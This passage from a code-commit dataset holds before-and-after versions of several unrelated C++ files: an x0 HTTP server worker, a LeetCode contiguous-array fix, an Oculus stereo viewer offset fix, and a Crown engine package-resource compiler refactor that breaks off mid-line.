listener)\n{\n\tTRACE(1, \"client connected; fd:%d\", client->handle());\n\n\t++connectionLoad_;\n\t++connectionCount_;\n\n\t\/\/ XXX since socket has not been used so far, I might be able to defer its creation out of its socket descriptor\n\t\/\/ XXX so that I do not have to double-initialize libev's loop handles for this socket.\n\tclient->setLoop(loop_);\n\n\tHttpConnection* c;\n\tif (likely(freeConnections_ != nullptr)) {\n\t\tc = freeConnections_;\n\t\tfreeConnections_ = c->next_;\n\n        c->revive(connectionCount_\/*id*\/);\n\t}\n\telse {\n\t\tc = new HttpConnection(this, connectionCount_\/*id*\/);\n\t}\n\n\tif (connections_)\n\t\tconnections_->prev_ = c;\n\n\tc->next_ = connections_;\n\tconnections_ = c;\n\n\tc->start(listener, client);\n}\n\n\/** releases\/unregisters given (and to-be-destroyed) connection from this worker.\n *\n * This decrements the connection-load counter by one.\n *\/\nvoid HttpWorker::release(HttpConnection* c)\n{\n\t\/\/    \/--<--\\   \/--<--\\   \/--<--\\\n\t\/\/ NULL     item1     item2     item3     NULL\n\t\/\/              \\-->--\/   \\-->--\/   \\-->--\/\n\n\t--connectionLoad_;\n\n\t\/\/ unlink from active-list\n\tHttpConnection* prev = c->prev_;\n\tHttpConnection* next = c->next_;\n\n\tif (prev)\n\t\tprev->next_ = next;\n\n\tif (next)\n\t\tnext->prev_ = prev;\n\n\tif (c == connections_)\n\t\tconnections_ = next;\n\n\t\/\/ link into free-list\n\tc->next_ = freeConnections_;\n\tc->prev_ = nullptr;\t\t\t\t\t\/\/ not needed\n\tif (freeConnections_ && freeConnections_->prev_)\n\t\tfreeConnections_->prev_ = c;\t\/\/ not needed\n\tfreeConnections_ = c;\n}\n\n\/**\n * Clear some cached objects to free up memory.\n *\/\nvoid HttpWorker::freeCache()\n{\n\tsize_t i = 0;\n\twhile (freeConnections_) {\n\t\tauto next = freeConnections_->next_;\n\t\tdelete freeConnections_;\n\t\tfreeConnections_ = next;\n\t\t++i;\n\t}\n\tTRACE(1, \"cleared %zu free-connections items\", i);\n}\n\nvoid HttpWorker::handleRequest(HttpRequest *r)\n{\n\t++requestCount_;\n\tperformanceCounter_.touch(now_.value());\n\n\tBufferRef expectHeader = r->requestHeader(\"Expect\");\n\tbool contentRequired = r->method == \"POST\" || r->method == \"PUT\";\n\n\tif (contentRequired) {\n\t\tif (r->connection.contentLength() == -1 && !r->connection.isChunked()) {\n\t\t\tr->status = HttpStatus::LengthRequired;\n\t\t\tr->finish();\n\t\t\treturn;\n\t\t}\n        if (r->connection.contentLength() > server().maxRequestBodySize()) {\n\t\t\tr->status = HttpStatus::RequestEntityTooLarge;\n\t\t\tr->finish();\n\t\t\treturn;\n        }\n\t} else {\n\t\tif (r->contentAvailable()) {\n\t\t\tr->status = HttpStatus::BadRequest; \/\/ FIXME do we have a better status code?\n\t\t\tr->finish();\n\t\t\treturn;\n\t\t}\n\t}\n\n\tif (expectHeader) {\n\t\tr->expectingContinue = equals(expectHeader, \"100-continue\");\n\n\t\tif (!r->expectingContinue || !r->supportsProtocol(1, 1)) {\n\t\t\tr->status = HttpStatus::ExpectationFailed;\n\t\t\tr->finish();\n\t\t\treturn;\n\t\t}\n\t}\n\n\tserver_.onPreProcess(r);\n\n\tif (!server_.requestHandler(r))\n\t\tr->finish();\n}\n\nvoid HttpWorker::_stop()\n{\n\tTRACE(1, \"_stop\");\n\n\tevLoopCheck_.stop();\n\tevNewConnection_.stop();\n\tevWakeup_.stop();\n\n\tfor (auto handler: stopHandler_)\n\t\thandler();\n}\n\nvoid HttpWorker::onLoopCheck(ev::check& \/*w*\/, int \/*revents*\/)\n{\n\t\/\/ update server time\n\tnow_.update(ev_now(loop_));\n}\n\nvoid HttpWorker::setAffinity(int cpu)\n{\n#ifdef HAVE_PTHREAD_SETAFFINITY_NP\n\tcpu_set_t set;\n\n\tCPU_ZERO(&set);\n\tCPU_SET(cpu, &set);\n\n\tTRACE(1, \"setAffinity: %d\", cpu);\n\n\tint rv = pthread_setaffinity_np(thread_, sizeof(set), &set);\n\tif (rv < 0) {\n\t\tlog(Severity::error, \"setting scheduler affinity on CPU %d failed for worker %u. %s\", cpu, id_, strerror(errno));\n\t}\n#else\n\tlog(Severity::error, \"setting scheduler affinity on CPU %d failed for worker %u. %s\", cpu, id_, strerror(ENOTSUP));\n#endif\n}\n\nvoid HttpWorker::bind(ServerSocket* s)\n{\n\ts->set<HttpWorker, &HttpWorker::spawnConnection>(this);\n}\n\n\/** suspend the execution of the worker thread until resume() is invoked.\n *\n * \\note has no effect on main worker\n * \\see resume()\n *\/\nvoid HttpWorker::suspend()\n{\n\tTRACE(1, \"suspend\");\n\n\tif (id_ != 0)\n\t\tpost<HttpWorker, &HttpWorker::_suspend>(this);\n}\n\nvoid HttpWorker::_suspend()\n{\n\tTRACE(1, \"_suspend\");\n\tpthread_mutex_lock(&resumeLock_);\n\tstate_ = Suspended;\n\tpthread_cond_wait(&resumeCondition_, &resumeLock_);\n\tstate_ = Running;\n\tpthread_mutex_unlock(&resumeLock_);\n}\n\n\/** resumes the previousely suspended worker thread.\n *\n * \\note has no effect on main worker\n * \\see suspend()\n *\/\nvoid HttpWorker::resume()\n{\n\tTRACE(1, \"resume\");\n\tif (id_ != 0)\n\t\tpthread_cond_signal(&resumeCondition_);\n}\n\nvoid HttpWorker::stop()\n{\n\tTRACE(1, \"stop: post -> _stop() (while in state: %d)\", state_);\n\n\tif (state_ != Running)\n\t\treturn;\n\n\/\/\tfileinfo.stop();\n\n\tpost<HttpWorker, &HttpWorker::_stop>(this);\n}\n\nvoid HttpWorker::join()\n{\n\tif (thread_ != pthread_self()) {\n\t\tpthread_join(thread_, nullptr);\n\t}\n}\n\n\/*! Actually aborts all active connections.\n *\n * \\see HttpConnection::abort()\n *\/\nvoid HttpWorker::kill()\n{\n\tTRACE(1, \"kill: post -> _kill()\");\n\tpost<HttpWorker, &HttpWorker::_kill>(this);\n}\n\n\/*! Actually aborts all active connections.\n *\n * \\note Must be invoked from within the worker's thread.\n *\n * \\see HttpConnection::abort()\n *\/\nvoid HttpWorker::_kill()\n{\n\tTRACE(1, \"_kill()\");\n\twhile (connections_) {\n\t\tstd::list<HttpConnection*> copy;\n\n\t\tfor (HttpConnection* c = connections_; c != nullptr; c = c->next_)\n\t\t\tcopy.push_back(c);\n\n\t\tfor (auto c: copy)\n\t\t\tc->abort();\n\n#ifndef XZERO_NDEBUG\n\t\tfor (HttpConnection* c = connections_; c != nullptr; c = c->next_)\n\t\t\tc->log(Severity::debug, \"connection still open\");\n#endif\n\t}\n\n\tfor (auto handler: killHandler_) {\n\t\tTRACE(1, \"_kill: invoke kill handler\");\n\t\thandler();\n\t}\n}\n\nstd::list<std::function<void()>>::iterator HttpWorker::registerStopHandler(std::function<void()> callback)\n{\n\tstopHandler_.push_front(callback);\n\treturn stopHandler_.begin();\n}\n\nvoid HttpWorker::unregisterStopHandler(std::list<std::function<void()>>::iterator handle)\n{\n\tstopHandler_.erase(handle);\n}\n\nstd::list<std::function<void()>>::iterator HttpWorker::registerKillHandler(std::function<void()> callback)\n{\n\tkillHandler_.push_front(callback);\n\treturn killHandler_.begin();\n}\n\nvoid HttpWorker::unregisterKillHandler(std::list<std::function<void()>>::iterator handle)\n{\n\tkillHandler_.erase(handle);\n}\n\nvoid HttpWorker::post_thunk3(int revents, void* arg)\n{\n\tstd::function<void()>* callback = static_cast<std::function<void()>*>(arg);\n\t(*callback)();\n\tdelete callback;\n}\n\n} \/\/ namespace x0\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Time:  O(n)\n\/\/ Space: O(n)\n\nclass Solution {\npublic:\n    int findMaxLength(vector<int>& nums) {\n        int result = 0, count = 0;\n        unordered_map<int, int> lookup;\n        lookup[0] = 0;\n        for (int i = 0; i < nums.size(); ++i) {\n            count += nums[i] == 1 ? 1 : -1;\n            if (lookup.count(count)) {\n                result = max(result, i + 1 - lookup[count]);\n            } else {\n                lookup[count] = i + 1;\n            }\n        }\n        return result;\n    }\n};\n<commit_msg>Update contiguous-array.cpp<commit_after>\/\/ Time:  O(n)\n\/\/ Space: O(n)\n\nclass Solution {\npublic:\n    int findMaxLength(vector<int>& nums) {\n        int result = 0, count = 0;\n        unordered_map<int, int> lookup;\n        lookup[0] = -1;\n        for (int i = 0; i < nums.size(); ++i) {\n            count += nums[i] == 1 ? 1 : -1;\n            if (lookup.count(count)) {\n                result = max(result, i - lookup[count]);\n            } else {\n                lookup[count] = i;\n            }\n        }\n        return result;\n    }\n};\n<|endoftext|>"}
{"text":"<commit_before>#include <oculus_viewer\/viewer.h>\n#include <iostream>\n\nnamespace oculus_viewer\n{\n\n    Viewer::Viewer(const std::string& window_name): window_name_(window_name), display_size_(1280, 800)\n    {\n\n    }\n\n    void Viewer::show(const cv::Mat& right_image,const cv::Mat& left_image)\n    {\n        cv::Mat dst_right;\n        cv::Mat dst_left;\n        const double scale = static_cast<double>(display_size_.width\/2) \/ right_image.cols;\n        cv::resize(right_image, dst_right, cv::Size(), scale, scale);\n        cv::resize(left_image, dst_left, cv::Size(), scale, scale);\n\n        const double centering_offset_y =(display_size_.height - dst_right.rows) \/ 2;\n\n        cv::Mat combined(display_size_.height,display_size_.width,dst_right.type());\n        cv::Mat roi_right = combined(cv::Rect(display_size_.width\/2 - display_offset_x_\/2,\n                            centering_offset_y,\n                            dst_left.cols,\n                            dst_left.rows));\n        dst_right.copyTo(roi_right);\n        cv::Mat roi_left = combined(cv::Rect(display_offset_x_\/2 + display_offset_x_\/2,\n                            display_offset_y_ + centering_offset_y,\n                            dst_right.cols,\n                            dst_right.rows));\n        dst_left.copyTo(roi_left);\n        cv::imshow(window_name_, combined);\n    }\n\n}  \/\/ namespace oculus_viewer\n<commit_msg>apply display_offset_y_ to both images<commit_after>#include <oculus_viewer\/viewer.h>\n#include <iostream>\n\nnamespace oculus_viewer\n{\n\n    Viewer::Viewer(const std::string& window_name): window_name_(window_name), display_size_(1280, 800)\n    {\n\n    }\n\n    void Viewer::show(const cv::Mat& right_image,const cv::Mat& left_image)\n    {\n        cv::Mat dst_right;\n        cv::Mat dst_left;\n        const double scale = static_cast<double>(display_size_.width\/2) \/ right_image.cols;\n        cv::resize(right_image, dst_right, cv::Size(), scale, scale);\n        cv::resize(left_image, dst_left, cv::Size(), scale, scale);\n\n        const double centering_offset_y =(display_size_.height - dst_right.rows) \/ 2;\n\n        cv::Mat combined(display_size_.height,display_size_.width,dst_right.type());\n        cv::Mat roi_right = combined(cv::Rect(display_size_.width\/2 - display_offset_x_\/2,\n                            display_offset_y_ + centering_offset_y,\n                            dst_left.cols,\n                            dst_left.rows));\n        dst_right.copyTo(roi_right);\n        cv::Mat roi_left = combined(cv::Rect(display_offset_x_\/2 + display_offset_x_\/2,\n                            display_offset_y_ + centering_offset_y,\n                            dst_right.cols,\n                            dst_right.rows));\n        dst_left.copyTo(roi_left);\n        cv::imshow(window_name_, combined);\n    }\n\n}  \/\/ namespace oculus_viewer\n<|endoftext|>"}
{"text":"<commit_before>\/*\nCopyright (c) 2013 Daniele Bartolini, Michele Rossi\nCopyright (c) 2012 Daniele Bartolini, Simone Boscaratto\n\nPermission is hereby granted, free of charge, to any person\nobtaining a copy of this software and associated documentation\nfiles (the \"Software\"), to deal in the Software without\nrestriction, including without limitation the rights to use,\ncopy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the\nSoftware is furnished to do so, subject to the following\nconditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\nOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\nFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\nOTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#include \"Allocator.h\"\n#include \"File.h\"\n#include \"Filesystem.h\"\n#include \"StringUtils.h\"\n#include \"JSONParser.h\"\n#include \"Log.h\"\n#include \"PackageResource.h\"\n#include \"TempAllocator.h\"\n\nnamespace crown\n{\nnamespace package_resource\n{\n\n\/\/-----------------------------------------------------------------------------\nvoid compile(Filesystem& fs, const char* resource_path, File* out_file)\n{\n\tFile* file = fs.open(resource_path, FOM_READ);\n\n\tchar file_buf[4096];\n\tfile->read(file_buf, file->size());\n\tfs.close(file);\n\n\tJSONParser json(file_buf);\n\tJSONElement root = json.root();\n\n\tArray<ResourceId> m_texture(default_allocator());\n\tArray<ResourceId> m_script(default_allocator());\n\tArray<ResourceId> m_sound(default_allocator());\n\tArray<ResourceId> m_mesh(default_allocator());\n\tArray<ResourceId> m_unit(default_allocator());\n\tArray<ResourceId> m_sprite(default_allocator());\n\tArray<ResourceId> m_physics(default_allocator());\n\tArray<ResourceId> m_materials(default_allocator());\n\tArray<ResourceId> m_guis(default_allocator());\n\tArray<ResourceId> m_fonts(default_allocator());\n\tArray<ResourceId> m_levels(default_allocator());\n\n\t\/\/ Check for resource types\n\tif (root.has_key(\"texture\"))\n\t{\n\t\tJSONElement texture_array = root.key(\"texture\");\n\t\tuint32_t texture_array_size = texture_array.size();\n\n\t\tfor (uint32_t i = 0; i < texture_array_size; i++)\n\t\t{\n\t\t\tDynamicString texture_name;\n\t\t\ttexture_array[i].to_string(texture_name); texture_name += \".texture\";\n\n\t\t\tif (!fs.is_file(texture_name.c_str()))\n\t\t\t{\n\t\t\t\tCE_LOGE(\"Texture '%s' does not exist.\", texture_name.c_str());\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tarray::push_back(m_texture, ResourceId(texture_name.c_str()));\n\t\t}\n\t}\n\n\t\/\/ Check for scripts\n\tif (root.has_key(\"lua\"))\n\t{\n\t\tJSONElement lua_array = root.key(\"lua\");\n\t\t\/\/lua_array = root.key(\"lua\");\n\t\tuint32_t lua_array_size = lua_array.size();\n\n\t\tfor (uint32_t i = 0; i < lua_array_size; i++)\n\t\t{\n\t\t\tDynamicString lua_name;\n\t\t\tlua_array[i].to_string(lua_name); lua_name += \".lua\";\n\n\t\t\tif (!fs.is_file(lua_name.c_str()))\n\t\t\t{\n\t\t\t\tCE_LOGE(\"Lua script '%s' does not exist.\", lua_name.c_str());\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tarray::push_back(m_script, ResourceId(lua_name.c_str()));\n\t\t}\n\t}\n\n\t\/\/ Check for sounds\n\tif (root.has_key(\"sound\"))\n\t{\n\t\tJSONElement sound_array = root.key(\"sound\");\n\t\tuint32_t sound_array_size = sound_array.size();\n\n\t\tfor (uint32_t i = 0; i < sound_array_size; i++)\n\t\t{\n\t\t\tDynamicString sound_name;\n\t\t\tsound_array[i].to_string(sound_name); sound_name += \".sound\";\n\n\t\t\tif (!fs.is_file(sound_name.c_str()))\n\t\t\t{\n\t\t\t\tCE_LOGE(\"Sound '%s' does not exist.\", sound_name.c_str());\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tarray::push_back(m_sound, ResourceId(sound_name.c_str()));\n\t\t}\n\t}\n\n\t\/\/ Check for meshes\n\tif (root.has_key(\"mesh\"))\n\t{\n\t\tJSONElement mesh_array = root.key(\"mesh\");\n\t\tuint32_t mesh_array_size = mesh_array.size();\n\n\t\tfor (uint32_t i = 0; i < mesh_array_size; i++)\n\t\t{\n\t\t\tDynamicString mesh_name;\n\t\t\tmesh_array[i].to_string(mesh_name); mesh_name += \".mesh\";\n\n\t\t\tif (!fs.is_file(mesh_name.c_str()))\n\t\t\t{\n\t\t\t\tCE_LOGE(\"Mesh '%s' does not exist.\", mesh_name.c_str());\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tarray::push_back(m_mesh, ResourceId(mesh_name.c_str()));\n\t\t}\n\t}\n\n\t\/\/ Check for units\n\tif (root.has_key(\"unit\"))\n\t{\n\t\tJSONElement unit_array = root.key(\"unit\");\n\t\tuint32_t unit_array_size = unit_array.size();\n\n\t\tfor (uint32_t i = 0; i < unit_array_size; i++)\n\t\t{\n\t\t\tDynamicString unit_name;\n\t\t\tunit_array[i].to_string(unit_name); unit_name += \".unit\";\n\n\t\t\tif (!fs.is_file(unit_name.c_str()))\n\t\t\t{\n\t\t\t\tCE_LOGE(\"Unit '%s' does not exist.\", unit_name.c_str());\n\t\t\t}\n\n\t\t\tarray::push_back(m_unit, ResourceId(unit_name.c_str()));\n\t\t}\n\t}\n\n\t\/\/ Check for meshes\n\tif (root.has_key(\"sprite\"))\n\t{\n\t\tJSONElement sprite_array = root.key(\"sprite\");\n\t\tuint32_t sprite_array_size = sprite_array.size();\n\n\t\tfor (uint32_t i = 0; i < sprite_array_size; i++)\n\t\t{\n\t\t\tDynamicString sprite_name;\n\t\t\tsprite_array[i].to_string(sprite_name); sprite_name += \".sprite\";\n\n\t\t\tif (!fs.is_file(sprite_name.c_str()))\n\t\t\t{\n\t\t\t\tCE_LOGE(\"Sprite '%s' does not exist.\", sprite_name.c_str());\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tarray::push_back(m_sprite, ResourceId(sprite_name.c_str()));\n\t\t}\n\t}\n\n\t\/\/ Check for physics\n\tif (root.has_key(\"physics\"))\n\t{\n\t\tJSONElement physics_array = root.key(\"physics\");\n\t\tuint32_t physics_array_size = physics_array.size();\n\n\t\tfor (uint32_t i = 0; i < physics_array_size; i++)\n\t\t{\n\t\t\tDynamicString physics_name;\n\t\t\tphysics_array[i].to_string(physics_name); physics_name += \".physics\";\n\n\t\t\tif (!fs.is_file(physics_name.c_str()))\n\t\t\t{\n\t\t\t\tCE_LOGE(\"Physics '%s' does not exist.\", physics_name.c_str());\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tarray::push_back(m_physics, ResourceId(physics_name.c_str()));\n\t\t}\n\t}\n\n\t\/\/ Check for materials\n\tif (root.has_key(\"material\"))\n\t{\n\t\tJSONElement materials_array = root.key(\"material\");\n\t\tuint32_t materials_array_size = materials_array.size();\n\n\t\tfor (uint32_t i = 0; i < materials_array_size; i++)\n\t\t{\n\t\t\tDynamicString materials_name;\n\t\t\tmaterials_array[i].to_string(materials_name); materials_name += \".material\";\n\n\t\t\tif (!fs.is_file(materials_name.c_str()))\n\t\t\t{\n\t\t\t\tCE_LOGE(\"Material '%s' does not exist.\", materials_name.c_str());\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tarray::push_back(m_materials, ResourceId(materials_name.c_str()));\n\t\t}\n\t}\n\n\t\/\/ Check for materials\n\tif (root.has_key(\"gui\"))\n\t{\n\t\tJSONElement guis_array = root.key(\"gui\");\n\t\tuint32_t guis_array_size = guis_array.size();\n\n\t\tfor (uint32_t i = 0; i < guis_array_size; i++)\n\t\t{\n\t\t\tDynamicString guis_name;\n\t\t\tguis_array[i].to_string(guis_name); guis_name += \".gui\";\n\n\t\t\tif (!fs.is_file(guis_name.c_str()))\n\t\t\t{\n\t\t\t\tCE_LOGE(\"gui '%s' does not exist.\", guis_name.c_str());\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tarray::push_back(m_guis, ResourceId(guis_name.c_str()));\n\t\t}\n\t}\n\n\t\/\/ Check for fonts\n\tif (root.has_key(\"font\"))\n\t{\n\t\tJSONElement fonts_array = root.key(\"font\");\n\t\tuint32_t fonts_array_size = fonts_array.size();\n\n\t\tfor (uint32_t i = 0; i < fonts_array_size; i++)\n\t\t{\n\t\t\tDynamicString font_name;\n\t\t\tfonts_array[i].to_string(font_name); font_name += \".font\";\n\n\t\t\tif (!fs.is_file(font_name.c_str()))\n\t\t\t{\n\t\t\t\tCE_LOGE(\"font '%s' does not exist.\", font_name.c_str());\n\t\t\t\treturn;\t\t\t\t\n\t\t\t}\n\n\t\t\tarray::push_back(m_fonts, ResourceId(font_name.c_str()));\n\t\t}\n\t}\n\n\t\/\/ Check for fonts\n\tif (root.has_key(\"level\"))\n\t{\n\t\tJSONElement levels_array = root.key(\"level\");\n\t\tuint32_t levels_array_size = levels_array.size();\n\n\t\tfor (uint32_t i = 0; i < levels_array_size; i++)\n\t\t{\n\t\t\tDynamicString level_name;\n\t\t\tlevels_array[i].to_string(level_name); level_name += \".level\";\n\n\t\t\tif (!fs.is_file(level_name.c_str()))\n\t\t\t{\n\t\t\t\tCE_LOGE(\"level '%s' does not exist.\", level_name.c_str());\n\t\t\t\treturn;\t\t\t\t\n\t\t\t}\n\n\t\t\tarray::push_back(m_levels, ResourceId(level_name.c_str()));\n\t\t}\n\t}\n\n\tPackageHeader header;\n\theader.num_textures = array::size(m_texture);\n\theader.num_scripts = array::size(m_script);\n\theader.num_sounds = array::size(m_sound);\n\theader.num_meshes = array::size(m_mesh);\n\theader.num_units = array::size(m_unit);\n\theader.num_sprites = array::size(m_sprite);\n\theader.num_physics = array::size(m_physics);\n\theader.num_materials = array::size(m_materials);\n\theader.num_guis = array::size(m_guis);\n\theader.num_fonts = array::size(m_fonts);\n\theader.num_levels = array::size(m_levels);\n\n\theader.textures_offset = sizeof(PackageHeader);\n\theader.scripts_offset  = header.textures_offset + sizeof(ResourceId) * header.num_textures;\n\theader.sounds_offset = header.scripts_offset + sizeof(ResourceId) * header.num_scripts;\n\theader.meshes_offset = header.sounds_offset + sizeof(ResourceId) * header.num_sounds;\n\theader.units_offset = header.meshes_offset + sizeof(ResourceId) * header.num_meshes;\n\theader.sprites_offset = header.units_offset + sizeof(ResourceId) * header.num_units;\n\theader.physics_offset = header.sprites_offset + sizeof(ResourceId) * header.num_sprites;\n\theader.materials_offset = header.physics_offset + sizeof(ResourceId) * header.num_physics;\n\theader.guis_offset = header.materials_offset + sizeof(ResourceId) * header.num_materials;\n\theader.fonts_offset = header.guis_offset + sizeof(ResourceId) * header.num_guis;\n\theader.levels_offset = header.fonts_offset + sizeof(ResourceId) * header.num_fonts;\n\n\tout_file->write((char*) &header, sizeof(PackageHeader));\n\n\tif (array::size(m_texture) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(m_texture), sizeof(ResourceId) * header.num_textures);\t\t\n\t}\n\tif (array::size(m_script) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(m_script), sizeof(ResourceId) * header.num_scripts);\n\t}\n\tif (array::size(m_sound) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(m_sound), sizeof(ResourceId) * header.num_sounds);\n\t}\n\tif (array::size(m_mesh) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(m_mesh), sizeof(ResourceId) * header.num_meshes);\n\t}\n\tif (array::size(m_unit) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(m_unit), sizeof(ResourceId) * header.num_units);\t\n\t}\n\tif (array::size(m_sprite) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(m_sprite), sizeof(ResourceId) * header.num_sprites);\n\t}\n\tif (array::size(m_physics) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(m_physics), sizeof(ResourceId) * header.num_physics);\n\t}\n\tif (array::size(m_materials) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(m_materials), sizeof(ResourceId) * header.num_materials);\n\t}\n\tif (array::size(m_guis) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(m_guis), sizeof(ResourceId) * header.num_guis);\n\t}\n\tif (array::size(m_fonts) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(m_fonts), sizeof(ResourceId) * header.num_fonts);\n\t}\n\tif (array::size(m_levels) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(m_levels), sizeof(ResourceId) * header.num_levels);\n\t}\n}\n\n} \/\/ namespace package_resource\n} \/\/ namespace crown\n<commit_msg>Simplify PackageResource compiler<commit_after>\/*\nCopyright (c) 2013 Daniele Bartolini, Michele Rossi\nCopyright (c) 2012 Daniele Bartolini, Simone Boscaratto\n\nPermission is hereby granted, free of charge, to any person\nobtaining a copy of this software and associated documentation\nfiles (the \"Software\"), to deal in the Software without\nrestriction, including without limitation the rights to use,\ncopy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the\nSoftware is furnished to do so, subject to the following\nconditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\nOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\nFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\nOTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#include \"Allocator.h\"\n#include \"File.h\"\n#include \"Filesystem.h\"\n#include \"StringUtils.h\"\n#include \"JSONParser.h\"\n#include \"Log.h\"\n#include \"PackageResource.h\"\n#include \"TempAllocator.h\"\n\nnamespace crown\n{\nnamespace package_resource\n{\n\n\/\/-----------------------------------------------------------------------------\nvoid parse_resources(JSONElement arr, const char* type, Array<ResourceId>& out)\n{\n\tconst uint32_t num = arr.size();\n\n\tfor (uint32_t i = 0; i < num; i++)\n\t{\n\t\tDynamicString name;\n\t\tarr[i].to_string(name);\n\t\tarray::push_back(out, ResourceId(type, name.c_str()));\n\t}\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid compile(Filesystem& fs, const char* resource_path, File* out_file)\n{\n\tFile* file = fs.open(resource_path, FOM_READ);\n\n\tchar file_buf[4096];\n\tfile->read(file_buf, file->size());\n\tfs.close(file);\n\n\tJSONParser json(file_buf);\n\tJSONElement root = json.root();\n\n\tArray<ResourceId> textures(default_allocator());\n\tArray<ResourceId> scripts(default_allocator());\n\tArray<ResourceId> sounds(default_allocator());\n\tArray<ResourceId> meshes(default_allocator());\n\tArray<ResourceId> units(default_allocator());\n\tArray<ResourceId> sprites(default_allocator());\n\tArray<ResourceId> physics(default_allocator());\n\tArray<ResourceId> materials(default_allocator());\n\tArray<ResourceId> guis(default_allocator());\n\tArray<ResourceId> fonts(default_allocator());\n\tArray<ResourceId> levels(default_allocator());\n\n\tif (root.has_key(\"texture\"))\n\t\tparse_resources(root.key(\"texture\"), \"texture\", textures);\n\n\tif (root.has_key(\"lua\"))\n\t\tparse_resources(root.key(\"lua\"), \"lua\", scripts);\n\n\tif (root.has_key(\"sound\"))\n\t\tparse_resources(root.key(\"sound\"), \"sound\", sounds);\n\n\tif (root.has_key(\"mesh\"))\n\t\tparse_resources(root.key(\"mesh\"), \"mesh\", meshes);\n\n\tif (root.has_key(\"unit\"))\n\t\tparse_resources(root.key(\"unit\"), \"unit\", units);\n\n\tif (root.has_key(\"sprite\"))\n\t\tparse_resources(root.key(\"sprite\"), \"sprite\", sprites);\n\n\tif (root.has_key(\"physics\"))\n\t\tparse_resources(root.key(\"physics\"), \"physics\", physics);\n\n\tif (root.has_key(\"material\"))\n\t\tparse_resources(root.key(\"material\"), \"material\", materials);\n\n\tif (root.has_key(\"gui\"))\n\t\tparse_resources(root.key(\"gui\"), \"gui\", guis);\n\n\tif (root.has_key(\"font\"))\n\t\tparse_resources(root.key(\"font\"), \"font\", fonts);\n\n\tif (root.has_key(\"level\"))\n\t\tparse_resources(root.key(\"level\"), \"level\", levels);\n\n\tPackageHeader header;\n\theader.num_textures = array::size(textures);\n\theader.num_scripts = array::size(scripts);\n\theader.num_sounds = array::size(sounds);\n\theader.num_meshes = array::size(meshes);\n\theader.num_units = array::size(units);\n\theader.num_sprites = array::size(sprites);\n\theader.num_physics = array::size(physics);\n\theader.num_materials = array::size(materials);\n\theader.num_guis = array::size(guis);\n\theader.num_fonts = array::size(fonts);\n\theader.num_levels = array::size(levels);\n\n\theader.textures_offset = sizeof(PackageHeader);\n\theader.scripts_offset  = header.textures_offset + sizeof(ResourceId) * header.num_textures;\n\theader.sounds_offset = header.scripts_offset + sizeof(ResourceId) * header.num_scripts;\n\theader.meshes_offset = header.sounds_offset + sizeof(ResourceId) * header.num_sounds;\n\theader.units_offset = header.meshes_offset + sizeof(ResourceId) * header.num_meshes;\n\theader.sprites_offset = header.units_offset + sizeof(ResourceId) * header.num_units;\n\theader.physics_offset = header.sprites_offset + sizeof(ResourceId) * header.num_sprites;\n\theader.materials_offset = header.physics_offset + sizeof(ResourceId) * header.num_physics;\n\theader.guis_offset = header.materials_offset + sizeof(ResourceId) * header.num_materials;\n\theader.fonts_offset = header.guis_offset + sizeof(ResourceId) * header.num_guis;\n\theader.levels_offset = header.fonts_offset + sizeof(ResourceId) * header.num_fonts;\n\n\tout_file->write((char*) &header, sizeof(PackageHeader));\n\n\tif (array::size(textures) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(textures), sizeof(ResourceId) * header.num_textures);\t\t\n\t}\n\tif (array::size(scripts) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(scripts), sizeof(ResourceId) * header.num_scripts);\n\t}\n\tif (array::size(sounds) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(sounds), sizeof(ResourceId) * header.num_sounds);\n\t}\n\tif (array::size(meshes) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(meshes), sizeof(ResourceId) * header.num_meshes);\n\t}\n\tif (array::size(units) > 0)\n\t{\n\t\tout_file->write((char*) array::begin(units), sizeof(ResourceId) * 